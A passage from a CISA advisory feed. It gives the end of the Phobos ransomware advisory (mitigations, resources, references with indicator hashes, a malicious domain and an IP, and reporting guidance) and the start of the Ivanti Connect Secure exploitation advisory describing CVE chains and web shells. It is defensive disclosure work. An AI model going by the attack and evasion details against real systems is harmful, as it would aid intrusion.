  1533. &lt;li&gt;Close unused RDP ports.&lt;/li&gt;
  1534. &lt;li&gt;Enforce account lockouts after a specified number of attempts.&lt;/li&gt;
  1535. &lt;li&gt;&lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;Apply phishing-resistant multifactor authentication (MFA)&lt;/a&gt;.&lt;/li&gt;
  1536. &lt;li&gt;Log RDP login attempts.&lt;/li&gt;
  1537. &lt;/ul&gt;
  1538. &lt;/li&gt;
  1539. &lt;li&gt;&lt;strong&gt;Disable command-line and scripting&lt;/strong&gt; activities and permissions [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DisableMacrosbyDefault2N" title="Disable Macros by Default (2.N)"&gt;CPG 2.N&lt;/a&gt;].&lt;/li&gt;
  1540. &lt;li&gt;&lt;strong&gt;Review domain controllers, servers, workstations, and active directories&lt;/strong&gt; for new and/or unrecognized accounts [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DeploySecurityTXTFiles4C" title="Deploy Security.TXT Files (4.C)"&gt;CPG 4.C&lt;/a&gt;].&lt;/li&gt;
  1541. &lt;li&gt;&lt;strong&gt;Audit user accounts with administrative privileges&lt;/strong&gt; and configure access controls according to the principle of least privilege (PoLP) [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SeparatingUserandPrivilegedAccounts2E" title="Separating User and Privileged Accounts (2.E)"&gt;CPG 2.E&lt;/a&gt;].&lt;/li&gt;
  1542. &lt;li&gt;&lt;strong&gt;Reduce the threat of credential compromise&lt;/strong&gt; via the following:
  1543. &lt;ul&gt;
  1544. &lt;li&gt;Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.&lt;/li&gt;
  1545. &lt;li&gt;Refrain from storing plaintext credentials in scripts.&lt;/li&gt;
  1546. &lt;/ul&gt;
  1547. &lt;/li&gt;
  1548. &lt;li&gt;&lt;strong&gt;Implement time-based access for accounts&lt;/strong&gt; at the admin level and higher [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ChangingDefaultPasswords2A" title="Changing Default Passwords (2.A)"&gt;CPG 2.A&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SeparatingUserandPrivilegedAccounts2E" title="Separating User and Privileged Accounts (2.E)"&gt;2.E&lt;/a&gt;].&lt;/li&gt;
  1549. &lt;/ul&gt;
  1550. &lt;p&gt;In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:&lt;/p&gt;
  1551. &lt;ul&gt;
  1552. &lt;li&gt;&lt;strong&gt;Implement a recovery plan&lt;/strong&gt; to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, or the cloud).&lt;/li&gt;
  1553. &lt;li&gt;&lt;strong&gt;Maintain offline backups of data &lt;/strong&gt;and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SystemBackups2R" title="System Backups (2.R)"&gt;CPG 2.R&lt;/a&gt;].&lt;/li&gt;
  1554. &lt;li&gt;&lt;strong&gt;Require all accounts&lt;/strong&gt; with password logins (e.g., service account, admin accounts, and domain admin accounts) &lt;strong&gt;to comply&lt;/strong&gt; with NIST's &lt;a href="https://pages.nist.gov/800-63-3/" title="Digital Identity Guidelines"&gt;standards&lt;/a&gt; for developing and managing password policies.
  1555. &lt;ul&gt;
  1556. &lt;li&gt;Use longer passwords consisting of at least 15 characters and no more than 64 characters in length [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#MinimumPasswordStrength2B" title="Minimum Password Strength (2.B)"&gt;CPG 2.B&lt;/a&gt;].&lt;/li&gt;
  1557. &lt;li&gt;Store passwords in hashed format using industry-recognized password managers.&lt;/li&gt;
  1558. &lt;li&gt;Add password user “salts” to shared login credentials.&lt;/li&gt;
  1559. &lt;li&gt;Avoid reusing passwords [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#UniqueCredentials2C" title="Unique Credentials (2.C)"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
  1560. &lt;li&gt;Implement multiple failed login attempt account lockouts [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DetectionofUnsuccessfulAutomatedLoginAttempts2G" title="Detection of Unsuccessful (Automated) Login Attempts (2.G)"&gt;CPG 2.G&lt;/a&gt;].&lt;/li&gt;
  1561. &lt;li&gt;Disable password “hints.”&lt;/li&gt;
  1562. &lt;li&gt;Refrain from requiring password changes more frequently than once per year.&lt;br&gt;&lt;strong&gt;Note:&lt;/strong&gt; NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.&lt;/li&gt;
  1563. &lt;li&gt;Require administrator credentials to install software.&lt;/li&gt;
  1564. &lt;/ul&gt;
  1565. &lt;/li&gt;
  1566. &lt;li&gt;&lt;strong&gt;Require phishing-resistant multifactor authentication (MFA)&lt;/strong&gt; for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#PhishingResistantMultifactorAuthenticationMFA2H" title="Phishing-Resistant Multifactor Authentication (MFA) (2.H)"&gt;CPG 2.H&lt;/a&gt;].&lt;/li&gt;
  1567. &lt;li&gt;&lt;strong&gt;Segment networks&lt;/strong&gt; to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#NetworkSegmentation2F" title="Network Segmentation (2.F)"&gt;CPG 2.F&lt;/a&gt;].&lt;/li&gt;
  1568. &lt;li&gt;&lt;strong&gt;Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.&lt;/strong&gt; To aid in detecting the ransomware, implement a tool that logs and reports all network traffic and activity, including lateral movement, on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#DetectingRelevantThreatsandTTPs3A" title="Detecting Relevant Threats and TTPs (3.A)"&gt;CPG 3.A&lt;/a&gt;].&lt;/li&gt;
  1569. &lt;li&gt;&lt;strong&gt;Install, regularly update, and enable real time detection for antivirus software&lt;/strong&gt; on all hosts.&lt;/li&gt;
  1570. &lt;li&gt;&lt;strong&gt;Disable unused&lt;/strong&gt; &lt;strong&gt;ports and protocols&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#ProhibitConnectionofUnauthorizedDevices2V" title="Prohibit Connection of Unauthorized Devices (2.V)"&gt;CPG 2.V&lt;/a&gt;].&lt;/li&gt;
  1571. &lt;li&gt;&lt;strong&gt;Consider adding an email banner to emails&lt;/strong&gt; received from outside your organization [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#EmailSecurity2M" title="Email Security (2.M)"&gt;CPG 2.M&lt;/a&gt;].&lt;/li&gt;
  1572. &lt;li&gt;&lt;strong&gt;Disable hyperlinks&lt;/strong&gt; in received emails.&lt;/li&gt;
  1573. &lt;li&gt;&lt;strong&gt;Ensure all backup data is encrypted, immutable &lt;/strong&gt;(i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [&lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#StrongandAgileEncryption2K" title="Strong and Agile Encryption (2.K)"&gt;CPG 2.K&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SecureSensitiveData2L" title="Secure Sensitive Data (2.L)"&gt;2.L&lt;/a&gt;, &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals#SystemBackups2R" title="System Backups (2.R)"&gt;2.R&lt;/a&gt;].&lt;/li&gt;
  1574. &lt;/ul&gt;
  1575. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  1576. &lt;p&gt;In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  1577. &lt;p&gt;To get started:&lt;/p&gt;
  1578. &lt;ol&gt;
  1579. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 4-16).&lt;/li&gt;
  1580. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  1581. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  1582. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  1583. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  1584. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  1585. &lt;/ol&gt;
  1586. &lt;p&gt;The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  1587. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  1588. &lt;ul&gt;
  1589. &lt;li&gt;&lt;a href="https://www.stopransomware.gov/" title="#StopRansomware"&gt;Stopransomware.gov&lt;/a&gt; is a whole-of-government approach that gives one central location for ransomware resources and alerts.&lt;/li&gt;
  1590. &lt;li&gt;Resource to mitigate a ransomware attack: &lt;a href="https://www.cisa.gov/resources-tools/resources/stopransomware-guide" title="#StopRansomware Guide"&gt;CISA, NSA, FBI, and Multi-State Information Sharing and Analysis Center’s (MS-ISAC) Joint #StopRansomware Guide&lt;/a&gt;.&lt;/li&gt;
  1591. &lt;li&gt;SLTT organizations are encouraged to implement MS-ISAC’s &lt;a href="https://www.cisecurity.org/insights/white-papers/ransomware-defense-in-depth" title="Ransomware Defense-in-Depth"&gt;Ransomware Defense-in-Depth&lt;/a&gt; guidance.&lt;/li&gt;
  1592. &lt;li&gt;No-cost cyber hygiene services: &lt;a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services"&gt;Cyber Hygiene Services&lt;/a&gt; and &lt;a href="https://github.com/cisagov/cset/releases/tag/v10.3.0.0" title="Ransomware Readiness Assessment CSET v10.3"&gt;Ransomware Readiness Assessment&lt;/a&gt;.&lt;/li&gt;
  1593. &lt;li&gt;CISA: &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;Known Exploited Vulnerabilities Catalog&lt;/a&gt;&lt;/li&gt;
  1594. &lt;li&gt;CISA, MITRE: &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt;&lt;/li&gt;
  1595. &lt;li&gt;CISA: &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;&lt;/li&gt;
  1596. &lt;li&gt;CISA: &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt;&lt;/li&gt;
  1597. &lt;li&gt;CISA: &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design&lt;/a&gt;&lt;/li&gt;
  1598. &lt;li&gt;CISA: &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;Implementing Phishing-Resistant MFA&lt;/a&gt;&lt;/li&gt;
  1599. &lt;li&gt;CISA: &lt;a href="https://www.cisa.gov/sites/default/files/2023-06/Guide%20to%20Securing%20Remote%20Access%20Software_clean%20Final_508c.pdf" title="Guide to Securing Remote Access Software"&gt;Guide to Securing Remote Access Software&lt;/a&gt;&lt;/li&gt;
  1600. &lt;/ul&gt;
  1601. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  1602. &lt;p&gt;[1] Privacy Affairs: &lt;a href="https://www.privacyaffairs.com/moral-8-base-ransomware-targets-2-new-victims/" title="“Moral” 8Base Ransomware Targets 2 New Victims"&gt;“Moral” 8Base Ransomware Targets 2 New Victims&lt;/a&gt;&lt;br&gt;[2] VMware: &lt;a href="https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html" title="8base ransomware: A Heavy Hitting Player"&gt;8base ransomware: A Heavy Hitting Player&lt;/a&gt;&lt;br&gt;[3] Infosecurity Magazine: &lt;a href="https://www.infosecurity-magazine.com/news/phobos-ransomware-new-faust-variant/" title="Phobos Ransomware Family Expands With New FAUST Variant"&gt;Phobos Ransomware Family Expands With New FAUST Variant&lt;/a&gt;&lt;br&gt;[4] The Record: &lt;a href="https://therecord.media/romanian-hospitals-offline-after-ransomware-attack" title="Hospitals offline across Romania following ransomware attack on IT platform"&gt;Hospitals offline across Romania following ransomware attack on IT platform&lt;/a&gt;&lt;br&gt;[5] Comparitech: &lt;a href="https://www.comparitech.com/net-admin/phobos-ransomware/" title="What is Phobos Ransomware &amp;amp; How to Protect Against It?"&gt;What is Phobos Ransomware &amp;amp; How to Protect Against It?&lt;/a&gt;&lt;br&gt;[6] Cisco Talos: &lt;a href="https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/" title="Understanding the Phobos affiliate structure and activity"&gt;Understanding the Phobos affiliate structure and activity&lt;/a&gt;&lt;br&gt;[7] Cisco Talos: &lt;a href="https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/" title="A deep dive into Phobos ransomware, recently deployed by 8Base group"&gt;A deep dive into Phobos ransomware, recently deployed by 8Base group&lt;/a&gt;&lt;br&gt;[8] Malwarebytes Labs: &lt;a href="https://www.malwarebytes.com/blog/news/2019/07/a-deep-dive-into-phobos-ransomware" title="A deep dive into Phobos ransomware"&gt;A deep dive into Phobos ransomware&lt;/a&gt;&lt;br&gt;[9] Any Run: &lt;a href="https://any.run/malware-trends/smoke" title="Smoke Loader"&gt;Smokeloader&lt;/a&gt;&lt;br&gt;[10] Malpedia: &lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader" title="SmokeLoader"&gt;Smokeloader&lt;/a&gt;&lt;br&gt;[11] Truesec:&amp;nbsp;&lt;a href="https://www.truesec.com/hub/blog/a-case-of-the-faust-ransomware" title="A case of the FAUST Ransomware"&gt;A case of the FAUST Ransomware&lt;/a&gt;&lt;br&gt;[12]&amp;nbsp;VirusTotal: &lt;a href="https://www.virustotal.com/gui/domain/demstat577d.xyz" title="Phobos Domain #1"&gt;Phobos Domain #1&lt;/a&gt;&lt;br&gt;[13] VirusTotal: &lt;a href="https://www.virustotal.com/gui/file/0000599cbc6e5b0633c5a6261c79e4d3d81005c77845c6b0679d854884a8e02f" title="Phobos executable: Ahpdate.exe"&gt;Phobos executable: Ahpdate.exe&lt;/a&gt;&lt;br&gt;[14] VirusTotal: &lt;a href="https://www.virustotal.com/gui/file/7451be9b65b956ee667081e1141531514b1ec348e7081b5a9cd1308a98eec8f0" title="Phobos GUI extension: ELF File"&gt;Phobos GUI extension: ELF File&lt;/a&gt;&lt;br&gt;[15] VirusTotal: &lt;a href="https://www.virustotal.com/gui/ip-address/185.202.0.111/relations%20Win32.exe%20file%20cobaltstrike_shellcode.exe%20last%20scanned%20September%202023" title="Phobos IP address: 185.202.0[.]111"&gt;Phobos IP address: 185.202.0[.]111&lt;/a&gt;&lt;br&gt;[16] VirusTotal: &lt;a href="https://www.virustotal.com/gui/file/f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c" title="Phobos GUI extension: Binary File"&gt;&lt;u&gt;Phobos GUI extension: Binary File&lt;/u&gt;&lt;/a&gt;&lt;br&gt;[17]&amp;nbsp;Cisco Talos GitHub: &lt;a href="https://github.com/Cisco-Talos/IOCs/blob/main/2023/11/deep-dive-into-phobos-ransomware.txt" title="Cisco-Talos / IOCs"&gt;IOCs/2023/11/deep-dive-into-phobos-ransomware.txt at main&lt;/a&gt;&lt;/p&gt;
  1603. &lt;h3&gt;&lt;strong&gt;REPORTING&lt;/strong&gt;&lt;/h3&gt;
  1604. &lt;p&gt;The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom-note, communications with Phobos actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.&lt;/p&gt;
  1605. &lt;p&gt;Additional details requested include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host and network-based indicators.&lt;/p&gt;
  1606. &lt;p&gt;The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI &lt;a href="https://www.ic3.gov/" title="Internet Crime Complaint Center (IC3)"&gt;Internet Crime Complaint Center&lt;/a&gt; (IC3), a local FBI &lt;a href="https://www.fbi.gov/contact-us/field-offices/" title="Field Offices"&gt;Field Office&lt;/a&gt;, or to CISA at &lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or by calling 1-844-Say-CISA (1-844-729-2472).&lt;/p&gt;
  1607. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  1608. &lt;p&gt;The FBI does not conduct its investigative activities or base attribution solely on activities protected by the First Amendment. Your company has no obligation to respond or provide information back to the FBI in response to this engagement. If, after reviewing the information, your company decides to provide referral information to the FBI, it must do so in a manner consistent with federal law. The FBI does not request or expect your company to take any particular action regarding this information other than holding it in confidence due to its sensitive nature.&lt;/p&gt;
  1609. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. The FBI and CISA not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, and the MS-ISAC.&lt;/p&gt;
  1610. &lt;h3&gt;&lt;strong&gt;ACKNOWLEDGEMENTS&lt;/strong&gt;&lt;/h3&gt;
  1611. &lt;p&gt;The California Joint Regional Intelligence Center (JRIC, CA) and Israel National Cyber Directorate (INCD) contributed to this CSA.&lt;/p&gt;
  1612. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  1613. &lt;p&gt;February 29, 2024: Initial version.&lt;/p&gt;
  1614. </description>
  1615.  <pubDate>Mon, 26 Feb 2024 09:51:34 EST</pubDate>
  1616.    <dc:creator>CISA</dc:creator>
  1617.    <guid isPermaLink="false">/node/21019</guid>
  1618.    </item>
  1619. <item>
  1620.  <title>Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways</title>
  1621.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060b</link>
  1622.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  1623. &lt;p&gt;The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:&lt;/p&gt;
  1624. &lt;ul&gt;
  1625. &lt;li&gt;Federal Bureau of Investigation (FBI)&lt;/li&gt;
  1626. &lt;li&gt;Multi-State Information Sharing &amp;amp; Analysis Center (MS-ISAC)&lt;/li&gt;
  1627. &lt;li&gt;Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)&lt;/li&gt;
  1628. &lt;li&gt;United Kingdom National Cyber Security Centre (NCSC-UK)&lt;/li&gt;
  1629. &lt;li&gt;Canadian Centre for Cyber Security (Cyber Centre), a part of the Communications Security Establishment&lt;/li&gt;
  1630. &lt;li&gt;New Zealand National Cyber Security Centre (NCSC-NZ)&lt;/li&gt;
  1631. &lt;li&gt;CERT-New Zealand (CERT NZ)&lt;/li&gt;
  1632. &lt;/ul&gt;
  1633. &lt;p&gt;Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.&lt;/p&gt;
  1634. &lt;p&gt;Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805" title="CVE-2023-46805"&gt;CVE-2023-46805&lt;/a&gt;, &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887" title="CVE-2024-21887"&gt;CVE-2024-21887&lt;/a&gt;, and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21893" title="CVE-2024-21893"&gt;CVE-2024-21893&lt;/a&gt;—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.&lt;/p&gt;
  1635. &lt;p&gt;During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.&lt;/p&gt;
  1636. &lt;p&gt;The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.&lt;/p&gt;
  1637. &lt;p&gt;Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a" title="PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure"&gt;PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure&lt;/a&gt;), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to&lt;strong&gt; consider the significant risk&lt;/strong&gt; of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when &lt;strong&gt;determining whether to continue operating&lt;/strong&gt; these devices in an enterprise environment.&lt;/p&gt;
  1638. &lt;p&gt;&lt;strong&gt;Note: &lt;/strong&gt;On February 9, 2024, CISA issued &lt;a href="https://cisa.gov/news-events/directives/ed-24-01-mitigate-ivanti-connect-secure-and-ivanti-policy-secure-vulnerabilities" target="_blank" title="ED 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities"&gt;Emergency Directive (ED) 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities&lt;/a&gt;, which requires emergency action from Federal Civilian Executive Branch (FCEB) agencies to perform specific actions on affected products.&lt;/p&gt;
  1639. &lt;p&gt;The Canadian Centre for Cyber Security also issued an alert, &lt;a href="https://www.cyber.gc.ca/en/alerts-advisories/ivanti-connect-secure-and-ivanti-policy-secure-gateways-zero-day-vulnerabilities" title="Alert - Ivanti Connect Secure and Ivanti Policy Secure gateways zero-day vulnerabilities – Update 2"&gt;Ivanti Connect Secure and Ivanti Policy Secure gateways zero-day vulnerabilities&lt;/a&gt;, which provides periodic updates for IT professionals and managers affected by the Ivanti vulnerabilities.&lt;/p&gt;
  1640. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  1641.  
  1642.  
  1643.  
  1644.  
  1645.  
  1646. &lt;div class="c-file"&gt;
  1647.    &lt;div class="c-file__download"&gt;
  1648.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA24-060B-Threat-Actors-Exploit-Multiple-Vulnerabilities-in-Ivanti-Connect-Secure-and-Policy-Secure-Gateways_0.pdf" class="c-file__link" target="_blank"&gt;AA24-060B Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways&lt;/a&gt;
  1649.    &lt;span class="c-file__size"&gt;(PDF,       2.20 MB
  1650.  )&lt;/span&gt;
  1651.  &lt;/div&gt;
  1652. &lt;/div&gt;
  1653. &lt;p&gt;For a downloadable copy of IOCs, see:&lt;/p&gt;
  1654.  
  1655.  
  1656.  
  1657.  
  1658.  
  1659. &lt;div class="c-file"&gt;
  1660.    &lt;div class="c-file__download"&gt;
  1661.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA24-060B.stix_.xml" class="c-file__link" target="_blank"&gt;AA24-060B STIX XML&lt;/a&gt;
  1662.    &lt;span class="c-file__size"&gt;(XML,       70.12 KB
  1663.  )&lt;/span&gt;
  1664.  &lt;/div&gt;
  1665. &lt;/div&gt;
  1666.  
  1667.  
  1668.  
  1669.  
  1670.  
  1671. &lt;div class="c-file"&gt;
  1672.    &lt;div class="c-file__download"&gt;
  1673.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/AA24-060B-threat-actors-exploit-multiple-vulnerabilities-in-ivanti-connect-secure-and-policy-secure-gateways.stix_.json" class="c-file__link" target="_blank"&gt;AA24-060B STIX JSON&lt;/a&gt;
  1674.    &lt;span class="c-file__size"&gt;(JSON,       53.65 KB
  1675.  )&lt;/span&gt;
  1676.  &lt;/div&gt;
  1677. &lt;/div&gt;
  1678. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  1679. &lt;p&gt;This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&amp;amp;CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  1680. &lt;h4&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/h4&gt;
  1681. &lt;p&gt;On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[&lt;a href="https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/" title="Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN"&gt;1&lt;/a&gt;]&lt;/p&gt;
  1682. &lt;ul&gt;
  1683. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805" title="CVE-2023-46805"&gt;CVE 2023-46805&lt;/a&gt;&lt;/li&gt;
  1684. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887" title="CVE-2024-21887"&gt;CVE-2024-21887&lt;/a&gt;&lt;/li&gt;
  1685. &lt;/ul&gt;
  1686. &lt;p&gt;Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0008/" title="Lateral Movement"&gt;TA0008&lt;/a&gt;] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1505/003/" title="Server Software Component: Web Shell"&gt;T1505.003&lt;/a&gt;]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[&lt;a href="https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/" title="Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN"&gt;1&lt;/a&gt;]&lt;/p&gt;
